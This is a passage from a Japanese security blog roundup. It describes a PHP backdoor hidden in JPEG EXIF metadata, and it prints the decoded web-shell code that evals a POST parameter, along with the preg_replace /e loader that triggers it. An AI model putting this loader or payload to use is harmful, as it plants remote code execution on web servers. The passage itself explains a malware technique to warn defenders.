今回は攻撃者による“だまし”に関するブログを中心に紹介する。最初は、JPEG画像のメタデータにマルウエアを仕込むケース。JPEG画像のメタデータにマルウエアを仕込んだPHPバックドアをスペインのドメイン（.es）で見つけたとして、ブログで注意を促している。同様の手口は、今年6月に米スキュリが報告している。
JPEGファイルのコードを見ると興味深い文字列が並んでおり、画像のEXIFデータと合致する。
JPEGファイルのコード
画像のEXIFデータ
EXIFデータのModelo（モデル）情報とMarca（メーカー）情報に同じ文字列が確認できる。これを解読すると「if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"])); 」となり、POSTパラメータ「zz1」を通じて取得するいかなる数値も実行する。
コードの実行には、PHPの「exif_read_data」関数と「preg_replace」関数が使われる。
$exif = exif_read_data('image.jpg');
preg_replace($exif['Make'],$exif['Model'],'');
exif_read_dataはEXIF情報を読み込み、preg_replaceはメーカー情報に「/e」があるため、コンテンツをPHPコードとして読み込んでモデル情報のevalコードを実行する。